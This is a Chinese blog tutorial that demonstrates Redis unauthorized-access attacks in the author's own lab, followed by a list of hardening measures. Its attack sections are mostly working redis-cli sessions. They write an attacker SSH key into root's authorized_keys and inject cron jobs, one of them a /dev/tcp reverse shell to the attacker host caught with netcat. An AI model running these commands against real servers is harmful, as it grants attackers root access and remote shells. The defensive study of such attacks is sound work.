黑客攻防之 Redis 未授权访问漏洞

780 阅读3分钟

Redis 是黑客攻击的重灾区.

此处结合我菜鸟时的经历, 展示其中一些常见的攻击方式.

环境准备

系统均为 Linux.

攻击方: 有 redis-cli 的任意环境, 此处用我内网的带 redis-cli 的 debian03 主机.

被攻击方: 一台装好并启动了 redis 的, 带 crontab 的机器, redis 允许远程访问, 此处我用网内的 debian04 主机.

另外, 为方便演示, redis 使用 6.2.7 版.

预备知识

前置条件

redis 服务未开启 protected-mode 且密码已泄露(或未设置密码).

redis 使用 root 账号启动.

redis 宿主机开启了 ssh 密钥登录 (攻击一所需条件).

攻击一: 写入密钥获取远程登录权限

  1. 攻击方本地创建密钥:

    $ ssh-keygen -t rsa
    Generating public/private rsa key pair.
    Enter file in which to save the key (/root/.ssh/id_rsa):
    Enter passphrase (empty for no passphrase):
    Enter same passphrase again:
    Your identification has been saved in /root/.ssh/id_rsa
    Your public key has been saved in /root/.ssh/id_rsa.pub
    The key fingerprint is:
    SHA256:eFv7MUHfUU852j2+YyhoSM5Lds1ejMYNfW6Pm5X10sQ root@debian03
    The key's randomart image is:
    +---[RSA 3072]----+
    |                +|
    |               +o|
    |            . o.+|
    |       .   ..o =o|
    |      . S ....o.E|
    |       o o+.=.o++|
    |      +oo.o*o+o+=|
    |      o+.ooo.+.O.|
    |       .o  .o =.o|
    +----[SHA256]-----+
    
  2. 查看密钥

    $ cat ~/.ssh/id_rsa.pub
    ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3ZSnJYesaSACzn9WhAvh2eRqOSVR5xx4iJJRvU6kjo8o2+zrBtiiIc1BUCqzC4ZtmwcwK1EJbruCOPR5coiXhSV6vkzAME9vCwZcNfIYhHdi6iR7cJRUHoM2SLSHHUpemwwU3T9O9emkdGxF0LavzX1Fr4WHx7ejPvo9/VfSkaOxzdbEWSu9wb7tBKHdosYax+SfpR39eYQGdeFAdBUWkkJaZIc7DsD0EAuBq5kTR6/mKr7B5nbC6pFSRT+Lb1XvOdDSbRz6v7QDUO2NMIieZparhYcrdqI6FHOOw7E04i7gobE96HuMh0ZUZXCU65mFMkgI2v6Bn2cpTT9A3IdVrmR0MU5UFd8HmqbZdk28NsqIzeEypvEZlo6M42ByFFdJM/gkzQtzNKWXZn3uRmf8aB44PtIZ1O0x7bffvxXXTxTauDvl9Bxevh2R8adeOdy8yiU14iZjmQLTAh0j3P3CZpb7K+w2dX4d3BT1qZeZVkiCaeQjV9h3e3pMFOoy/3bk= root@debian03
    
  3. 设置并写入密钥

    debian04:6379> config get dir
    1) "dir"
    2) "/var/lib/redis"
    debian04:6379> config get dbfilename
    1) "dbfilename"
    2) "dump.rdb"
    debian04:6379> config set dir /root/.ssh/
    OK
    debian04:6379> config set dbfilename authorized_keys
    OK
    debian04:6379> set x "\r\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3ZSnJYesaSACzn9WhAvh2eRqOSVR5xx4iJJRvU6kjo8o2+zrBtiiIc1BUCqzC4ZtmwcwK1EJbruCOPR5coiXhSV6vkzAME9vCwZcNfIYhHdi6iR7cJRUHoM2SLSHHUpemwwU3T9O9emkdGxF0LavzX1Fr4WHx7ejPvo9/VfSkaOxzdbEWSu9wb7tBKHdosYax+SfpR39eYQGdeFAdBUWkkJaZIc7DsD0EAuBq5kTR6/mKr7B5nbC6pFSRT+Lb1XvOdDSbRz6v7QDUO2NMIieZparhYcrdqI6FHOOw7E04i7gobE96HuMh0ZUZXCU65mFMkgI2v6Bn2cpTT9A3IdVrmR0MU5UFd8HmqbZdk28NsqIzeEypvEZlo6M42ByFFdJM/gkzQtzNKWXZn3uRmf8aB44PtIZ1O0x7bffvxXXTxTauDvl9Bxevh2R8adeOdy8yiU14iZjmQLTAh0j3P3CZpb7K+w2dX4d3BT1qZeZVkiCaeQjV9h3e3pMFOoy/3bk= root@debian03\r\n"
    OK
    debian04:6379> save
    OK
    
  4. 此时攻击者便可以堂而皇之登录 redis 服务器了:

    # root @ debian03 in ~ [16:30:00]
    $ ssh root@debian04
    Linux debian04 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64
    
    The programs included with the Debian GNU/Linux system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.
    
    Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
    permitted by applicable law.
    Last login: Sat Nov  5 16:24:02 2022 from 192.168.50.203
    
    # root @ debian04 in ~ [16:30:01]
    $ 
    

攻击二: crontab 攻击

经测试, crontab 攻击在 debian 11 的系统中无法成功, 表现为 crontab 文件不接受非 crontab 标准格式的字符. 由于写入 rdb 的内容肯定会有特殊字符, 这将导致攻击失败, 也表明在 debian 11 下 crontab 的安全性相对较高.

于是临时换为 centos 系统, 版本为 centos7: 2009. 主机名为 centos01.

攻击示例:

# root @ debian03 in ~ [16:56:55]
$ redis-cli -h centos01
centos01:6379> config set dir /var/spool/cron/
OK
centos01:6379> config set dbfilename root
OK
centos01:6379> set x "\n* * * * * date >> ~/date.txt\n"
OK
centos01:6379> save
OK

此后 centos01 每分钟将执行 date >> ~/date.txt 的任务.

这个任务的命令可操作空间就很大了, 可以执行许多的攻击命令, 比如访问内部资源, 发送机密信息到攻击者处, 下载病毒文件并执行, 甚至打开反弹 shell 等等.

攻击三: 反弹 shell

许多攻击都是围绕着拿到肉鸡的 shell 进行的, 如果无法修改 ssh 配置去拿 shell, 那么如下方式也能让攻击者拿到 shell, 这种操作称为 反弹 shell, redis 获取反弹 shell 也常是入侵 crontab 来完成的.

  1. 攻击方先使用 nc 命令在本地机器打开一个监听端口:

    nc -lvvp 9999
    
  2. 注入 crontab, 写入访问 nc 监听的命令

    centos01:6379> config set dir /var/spool/cron/
    OK
    centos01:6379> config set dbfilename root
    OK
    centos01:6379> set x "\n* * * * * bash -i >& /dev/tcp/debian03/9999 0>&1\n"
    OK
    centos01:6379> save
    OK
    

    本质上是打开一个 socket 通信.

    不知道第三条命令含义的同学请看上文 预备知识 第三点.

  3. crontab 成功执行后, debian03 便拿到了 centos01 的 shell.

    完整过程:

    # root @ debian03 in ~ [16:56:55] C:4
    $ nc -lvvp 9999
    listening on [any] 9999 ...
    connect to [192.168.50.203] from centos01 [192.168.50.231] 40282
    bash: 此 shell 中无任务控制
    [root@centos01 ~]#
    
    [root@centos01 ~]# ls
    ls
    anaconda-ks.cfg
    date.txt
    redis-6.2.7
    redis-6.2.7.tar.gz
    [root@centos01 ~]#
    

    都拿到 shell 了, 后面能干啥就任君想象了.

预防方法

上述介绍的攻击方式只能说是九牛一毛.

然而只要做好安全措施, 攻击者纵然花样再多, 也无计可施. 包括但不限于:

  • 开启 redis 的 protected-mode
  • 使用 redis 密码
  • 不使用 root 权限启动 redis
  • 升级到新版 redis (在 redis 7 里 dir 与 dbfilename 不再轻易可改)
  • 对外暴露的话使用不常用端口
  • redis config 文件里监听地址使用白名单
  • iptables 或者其它防火墙使用白名单过滤地址
  • 调用方与 redis 服务组同一内网

总之, 大方向就是, 不在公网暴露服务地址和端口, 同时使用密码等手段提高 redis 的安全性.